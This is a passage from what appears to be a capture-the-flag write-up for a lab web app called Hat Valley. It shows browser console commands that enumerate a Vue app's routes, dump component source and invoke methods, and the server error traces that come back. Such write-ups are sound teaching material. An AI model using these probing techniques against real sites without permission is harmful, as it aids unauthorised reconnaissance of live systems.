      <span class="nx">refreshStatus</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">refreshStatus</span><span class="p">()</span>
      <span class="p">[[</span><span class="nx">Prototype</span><span class="p">]]:</span> <span class="nb">Object</span>
      <span class="nx">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Dashboard</span><span class="dl">"</span>
  <span class="nx">render</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">render</span><span class="p">(</span><span class="nx">_ctx</span><span class="p">,</span> <span class="nx">_cache</span><span class="p">,</span> <span class="nx">$props</span><span class="p">,</span> <span class="nx">$setup</span><span class="p">,</span> <span class="nx">$data</span><span class="p">,</span> <span class="nx">$options</span><span class="p">)</span>
  <span class="nx">setup</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">__injectCSSVars__</span><span class="p">()</span>
  <span class="nx">__file</span><span class="p">:</span> <span class="dl">"</span><span class="s2">src/Dashboard.vue</span><span class="dl">"</span>
  <span class="nx">__hmrId</span><span class="p">:</span> <span class="dl">"</span><span class="s2">4bc724eb</span><span class="dl">"</span>
  <span class="nx">__scopeId</span><span class="p">:</span> <span class="dl">"</span><span class="s2">data-v-4bc724eb</span><span class="dl">"</span>
  <span class="p">[[</span><span class="nx">Prototype</span><span class="p">]]:</span> <span class="nb">Object</span>
</code></pre></div>        </div>
      </li>
      <li><code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[3].components.default</code>
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">created</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">created</span><span class="p">()</span>
  <span class="nx">data</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">data</span><span class="p">()</span>
  <span class="nx">methods</span><span class="p">:</span>
      <span class="nx">hideSuccess</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">hideSuccess</span><span class="p">()</span>
      <span class="nx">logout</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">logout</span><span class="p">()</span>
      <span class="nx">refreshLeave</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">refreshLeave</span><span class="p">()</span>
      <span class="nx">submitForm</span><span class="p">:</span> <span class="nx">f</span> <span class="nx">submitForm</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span>
      <span class="nx">updateEnd</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">updateEnd</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span>
      <span class="nx">updateReason</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">updateReason</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span>
      <span class="nx">updateStart</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">updateStart</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span>
      <span class="p">[[</span><span class="nx">Prototype</span><span class="p">]]:</span> <span class="nb">Object</span>
      <span class="nx">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Leave</span><span class="dl">"</span>
  <span class="nx">render</span><span class="p">:</span> <span class="nx">ƒ</span> <span class="nx">render</span><span class="p">(</span><span class="nx">_ctx</span><span class="p">,</span> <span class="nx">_cache</span><span class="p">,</span> <span class="nx">$props</span><span class="p">,</span> <span class="nx">$setup</span><span class="p">,</span> <span class="nx">$data</span><span class="p">,</span> <span class="nx">$options</span><span class="p">)</span>
  <span class="nx">__file</span><span class="p">:</span> <span class="dl">"</span><span class="s2">src/Leave.vue</span><span class="dl">"</span>
  <span class="nx">__hmrId</span><span class="p">:</span> <span class="dl">"</span><span class="s2">33fd770e</span><span class="dl">"</span>
  <span class="nx">__scopeId</span><span class="p">:</span> <span class="dl">"</span><span class="s2">data-v-33fd770e</span><span class="dl">"</span>
  <span class="p">[[</span><span class="nx">Prototype</span><span class="p">]]:</span> <span class="nb">Object</span>
</code></pre></div>        </div>
      </li>
    </ul>
  </li>
  <li>
    <p>I retrieve the sources of the other functions:</p>

    <ul>
      <li>
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Dashboard</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">data</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">data</span><span class="p">()</span> <span class="p">{</span>
      <span class="k">return</span> <span class="p">{</span>
          <span class="na">status</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
          <span class="na">color</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
          <span class="na">staff_details</span><span class="p">:</span> <span class="kc">null</span>
      <span class="p">};</span>
  <span class="p">},</span>
  <span class="nx">methods</span><span class="p">:</span> <span class="p">{</span>
      <span class="nl">refreshStatus</span><span class="p">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">_refreshStatus</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">(</span><span class="nx">_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">])(</span> <span class="cm">/*#__PURE__*/</span> <span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">mark</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee</span><span class="p">()</span> <span class="p">{</span>
              <span class="kd">var</span> <span class="nx">_this</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>

              <span class="k">return</span> <span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">wrap</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee$</span><span class="p">(</span><span class="nx">_context</span><span class="p">)</span> <span class="p">{</span>
                  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
                      <span class="k">switch</span> <span class="p">(</span><span class="nx">_context</span><span class="p">.</span><span class="nx">prev</span> <span class="o">=</span> <span class="nx">_context</span><span class="p">.</span><span class="nx">next</span><span class="p">)</span> <span class="p">{</span>
                          <span class="k">case</span> <span class="mi">0</span><span class="p">:</span>
                              <span class="nx">_context</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
                              <span class="k">return</span> <span class="nx">_services_status_js__WEBPACK_IMPORTED_MODULE_2__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">].</span><span class="nx">store_status</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://store.hat-valley.htb</span><span class="dl">"</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
                                  <span class="k">if</span> <span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                                      <span class="nx">_this</span><span class="p">.</span><span class="nx">status</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Up</span><span class="dl">"</span><span class="p">;</span>
                                      <span class="nx">_this</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">green</span><span class="dl">"</span><span class="p">;</span>
                                  <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
                                      <span class="nx">_this</span><span class="p">.</span><span class="nx">status</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Down</span><span class="dl">"</span><span class="p">;</span>
                                      <span class="nx">_this</span><span class="p">.</span><span class="nx">color</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">red</span><span class="dl">"</span><span class="p">;</span>
                                  <span class="p">}</span>
                              <span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
                                  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span>
                              <span class="p">});</span>

                          <span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
                          <span class="k">case</span> <span class="dl">"</span><span class="s2">end</span><span class="dl">"</span><span class="p">:</span>
                              <span class="k">return</span> <span class="nx">_context</span><span class="p">.</span><span class="nx">stop</span><span class="p">();</span>
                      <span class="p">}</span>
                  <span class="p">}</span>
              <span class="p">},</span> <span class="nx">_callee</span><span class="p">);</span>
          <span class="p">}));</span>

          <span class="kd">function</span> <span class="nx">refreshStatus</span><span class="p">()</span> <span class="p">{</span>
              <span class="k">return</span> <span class="nx">_refreshStatus</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">arguments</span><span class="p">);</span>
          <span class="p">}</span>

          <span class="k">return</span> <span class="nx">refreshStatus</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">getStaff</span><span class="p">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">_getStaff</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">(</span><span class="nx">_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">])(</span> <span class="cm">/*#__PURE__*/</span> <span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">mark</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee2</span><span class="p">()</span> <span class="p">{</span>
              <span class="kd">var</span> <span class="nx">_this2</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>

              <span class="k">return</span> <span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">wrap</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee2$</span><span class="p">(</span><span class="nx">_context2</span><span class="p">)</span> <span class="p">{</span>
                  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
                      <span class="k">switch</span> <span class="p">(</span><span class="nx">_context2</span><span class="p">.</span><span class="nx">prev</span> <span class="o">=</span> <span class="nx">_context2</span><span class="p">.</span><span class="nx">next</span><span class="p">)</span> <span class="p">{</span>
                          <span class="k">case</span> <span class="mi">0</span><span class="p">:</span>
                              <span class="nx">_context2</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
                              <span class="k">return</span> <span class="nx">_services_staff_js__WEBPACK_IMPORTED_MODULE_3__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">].</span><span class="nx">staff_details</span><span class="p">().</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
                                  <span class="nx">_this2</span><span class="p">.</span><span class="nx">staff_details</span> <span class="o">=</span> <span class="nx">data</span><span class="p">;</span>
                              <span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
                                  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span>
                              <span class="p">});</span>

                          <span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
                          <span class="k">case</span> <span class="dl">"</span><span class="s2">end</span><span class="dl">"</span><span class="p">:</span>
                              <span class="k">return</span> <span class="nx">_context2</span><span class="p">.</span><span class="nx">stop</span><span class="p">();</span>
                      <span class="p">}</span>
                  <span class="p">}</span>
              <span class="p">},</span> <span class="nx">_callee2</span><span class="p">);</span>
          <span class="p">}));</span>

          <span class="kd">function</span> <span class="nx">getStaff</span><span class="p">()</span> <span class="p">{</span>
              <span class="k">return</span> <span class="nx">_getStaff</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">arguments</span><span class="p">);</span>
          <span class="p">}</span>

          <span class="k">return</span> <span class="nx">getStaff</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">logout</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">logout</span><span class="p">()</span> <span class="p">{</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">$cookie</span><span class="p">.</span><span class="nx">removeCookie</span><span class="p">(</span><span class="dl">"</span><span class="s2">token</span><span class="dl">"</span><span class="p">);</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">$store</span><span class="p">.</span><span class="nx">commit</span><span class="p">(</span><span class="dl">'</span><span class="s1">change</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
              <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">firstName</span><span class="dl">"</span><span class="p">,</span>
              <span class="na">value</span><span class="p">:</span> <span class="kc">null</span>
          <span class="p">});</span>
          <span class="nx">localStorage</span><span class="p">.</span><span class="nx">clear</span><span class="p">();</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">$router</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="dl">'</span><span class="s1">/hr</span><span class="dl">'</span><span class="p">);</span>
      <span class="p">}</span>
  <span class="p">}</span>
</code></pre></div>        </div>

        <p>I try to call the function: <code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[2].components.default.methods.getStaff()</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  JsonWebTokenError: jwt malformed
      at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17)
      at /var/www/hat-valley.htb/server/server.js:151:30
      at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
      at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)
      at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)
      at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
      at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15
      at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)
      at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10)
      at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
</code></pre></div>        </div>

        <p>again I need to have the JWT token obtained through login</p>
      </li>
      <li>
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Leave</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">data</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">data</span><span class="p">()</span> <span class="p">{</span>
      <span class="k">return</span> <span class="p">{</span>
          <span class="na">leave_requests</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
          <span class="na">reason</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
          <span class="na">start</span><span class="p">:</span> <span class="kc">null</span><span class="p">,</span>
          <span class="na">end</span><span class="p">:</span> <span class="kc">null</span>
      <span class="p">};</span>
  <span class="p">},</span>
  <span class="nx">methods</span><span class="p">:</span> <span class="p">{</span>
      <span class="nl">updateReason</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">updateReason</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">reason</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">updateStart</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">updateStart</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">split</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">value</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">-</span><span class="dl">"</span><span class="p">);</span>
          <span class="kd">var</span> <span class="nx">finalStart</span> <span class="o">=</span> <span class="nx">split</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">split</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">split</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">start</span> <span class="o">=</span> <span class="nx">finalStart</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">updateEnd</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">updateEnd</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">split</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">value</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">-</span><span class="dl">"</span><span class="p">);</span>
          <span class="kd">var</span> <span class="nx">finalEnd</span> <span class="o">=</span> <span class="nx">split</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">split</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="dl">"</span><span class="s2">/</span><span class="dl">"</span> <span class="o">+</span> <span class="nx">split</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">end</span> <span class="o">=</span> <span class="nx">finalEnd</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">hideSuccess</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">hideSuccess</span><span class="p">()</span> <span class="p">{</span>
          <span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByClassName</span><span class="p">(</span><span class="dl">"</span><span class="s2">successMessage</span><span class="dl">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">style</span><span class="p">.</span><span class="nx">display</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">none</span><span class="dl">'</span><span class="p">;</span>
      <span class="p">},</span>
      <span class="nx">refreshLeave</span><span class="p">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">_refreshLeave</span> <span class="o">=</span> <span class="nb">Object</span><span class="p">(</span><span class="nx">_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">])(</span> <span class="cm">/*#__PURE__*/</span><span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">mark</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee</span><span class="p">()</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">_this</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>

          <span class="k">return</span> <span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">wrap</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee$</span><span class="p">(</span><span class="nx">_context</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">switch</span> <span class="p">(</span><span class="nx">_context</span><span class="p">.</span><span class="nx">prev</span> <span class="o">=</span> <span class="nx">_context</span><span class="p">.</span><span class="nx">next</span><span class="p">)</span> <span class="p">{</span>
                  <span class="k">case</span> <span class="mi">0</span><span class="p">:</span>
                  <span class="nx">_context</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
                  <span class="k">return</span> <span class="nx">_services_leave_js__WEBPACK_IMPORTED_MODULE_5__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">].</span><span class="nx">get_all</span><span class="p">()</span> <span class="c1">//changed</span>
                  <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
                      <span class="kd">var</span> <span class="nx">arr</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="se">\"</span><span class="dl">"</span><span class="p">);</span>
                      <span class="nx">arr</span><span class="p">.</span><span class="nx">pop</span><span class="p">();</span> <span class="c1">//remove empty extra line</span>

                      <span class="c1">//remove empty extra line</span>
                      <span class="kd">var</span> <span class="nx">leaves</span> <span class="o">=</span> <span class="p">[];</span>

                      <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
                      <span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">(\\</span><span class="sr">r</span><span class="se">\\</span><span class="sr">n|</span><span class="se">\\</span><span class="sr">n|</span><span class="se">\\</span><span class="sr">r</span><span class="se">)</span><span class="sr">/gm</span><span class="p">,</span> <span class="dl">""</span><span class="p">);</span> <span class="c1">//remove line breaks</span>

                      <span class="c1">//remove line breaks</span>
                      <span class="kd">var</span> <span class="nx">splitUp</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">,</span><span class="dl">"</span><span class="p">);</span>
                      <span class="kd">var</span> <span class="nx">toAdd</span> <span class="o">=</span> <span class="p">{</span>
                          <span class="na">reason</span><span class="p">:</span> <span class="nx">splitUp</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span>
                          <span class="na">start</span><span class="p">:</span> <span class="nx">splitUp</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span>
                          <span class="na">end</span><span class="p">:</span> <span class="nx">splitUp</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span>
                          <span class="na">approved</span><span class="p">:</span> <span class="nx">splitUp</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
                      <span class="p">};</span>
                      <span class="nx">leaves</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">toAdd</span><span class="p">);</span>
                      <span class="p">}</span>

                      <span class="nx">_this</span><span class="p">.</span><span class="nx">leave_requests</span> <span class="o">=</span> <span class="nx">leaves</span><span class="p">;</span>
                  <span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
                      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">error</span><span class="p">);</span>
                  <span class="p">});</span>

                  <span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
                  <span class="k">case</span> <span class="dl">"</span><span class="s2">end</span><span class="dl">"</span><span class="p">:</span>
                  <span class="k">return</span> <span class="nx">_context</span><span class="p">.</span><span class="nx">stop</span><span class="p">();</span>
              <span class="p">}</span>
              <span class="p">}</span>
          <span class="p">},</span> <span class="nx">_callee</span><span class="p">);</span>
          <span class="p">}));</span>

          <span class="kd">function</span> <span class="nx">refreshLeave</span><span class="p">()</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">_refreshLeave</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">arguments</span><span class="p">);</span>
          <span class="p">}</span>

          <span class="k">return</span> <span class="nx">refreshLeave</span><span class="p">;</span>
      <span class="p">}(),</span>
      <span class="nx">submitForm</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">submitForm</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">_this2</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span>

          <span class="k">return</span> <span class="nb">Object</span><span class="p">(</span><span class="nx">_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">])(</span> <span class="cm">/*#__PURE__*/</span><span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">mark</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee2</span><span class="p">()</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">regeneratorRuntime</span><span class="p">.</span><span class="nx">wrap</span><span class="p">(</span><span class="kd">function</span> <span class="nx">_callee2$</span><span class="p">(</span><span class="nx">_context2</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">switch</span> <span class="p">(</span><span class="nx">_context2</span><span class="p">.</span><span class="nx">prev</span> <span class="o">=</span> <span class="nx">_context2</span><span class="p">.</span><span class="nx">next</span><span class="p">)</span> <span class="p">{</span>
                  <span class="k">case</span> <span class="mi">0</span><span class="p">:</span>
                  <span class="nx">e</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
                  <span class="nx">_context2</span><span class="p">.</span><span class="nx">next</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
                  <span class="k">return</span> <span class="nx">_services_leave_js__WEBPACK_IMPORTED_MODULE_5__</span><span class="p">[</span><span class="dl">"</span><span class="s2">default</span><span class="dl">"</span><span class="p">].</span><span class="nx">submit_leave</span><span class="p">(</span><span class="nx">_this2</span><span class="p">.</span><span class="nx">reason</span><span class="p">,</span> <span class="nx">_this2</span><span class="p">.</span><span class="nx">start</span><span class="p">,</span> <span class="nx">_this2</span><span class="p">.</span><span class="nx">end</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">{</span>
                      <span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByClassName</span><span class="p">(</span><span class="dl">"</span><span class="s2">successMessage</span><span class="dl">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">style</span><span class="p">.</span><span class="nx">display</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">block</span><span class="dl">'</span><span class="p">;</span>
                      <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">leave-form</span><span class="dl">"</span><span class="p">).</span><span class="nx">reset</span><span class="p">();</span>

                      <span class="nx">_this2</span><span class="p">.</span><span class="nx">refreshLeave</span><span class="p">();</span>
                  <span class="p">}).</span><span class="k">catch</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{});</span>

                  <span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
                  <span class="k">case</span> <span class="dl">"</span><span class="s2">end</span><span class="dl">"</span><span class="p">:</span>
                  <span class="k">return</span> <span class="nx">_context2</span><span class="p">.</span><span class="nx">stop</span><span class="p">();</span>
              <span class="p">}</span>
              <span class="p">}</span>
          <span class="p">},</span> <span class="nx">_callee2</span><span class="p">);</span>
          <span class="p">}))();</span>
      <span class="p">},</span>
      <span class="nx">logout</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">logout</span><span class="p">()</span> <span class="p">{</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">$cookie</span><span class="p">.</span><span class="nx">removeCookie</span><span class="p">(</span><span class="dl">"</span><span class="s2">token</span><span class="dl">"</span><span class="p">);</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">$store</span><span class="p">.</span><span class="nx">commit</span><span class="p">(</span><span class="dl">'</span><span class="s1">change</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
          <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">firstName</span><span class="dl">"</span><span class="p">,</span>
          <span class="na">value</span><span class="p">:</span> <span class="kc">null</span>
          <span class="p">});</span>
          <span class="nx">localStorage</span><span class="p">.</span><span class="nx">clear</span><span class="p">();</span>
          <span class="k">this</span><span class="p">.</span><span class="nx">$router</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="dl">'</span><span class="s1">/hr</span><span class="dl">'</span><span class="p">);</span>
      <span class="p">}</span>
  <span class="p">}</span>
</code></pre></div>        </div>

        <p>I try to call the function: <code class="language-html highlighter-rouge">Array.from(document.querySelectorAll('*')).find(e =&gt; e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[3].components.default.methods.refreshLeave()</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  JsonWebTokenError: jwt malformed
      at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17)
      at /var/www/hat-valley.htb/server/server.js:102:30
      at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
      at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)
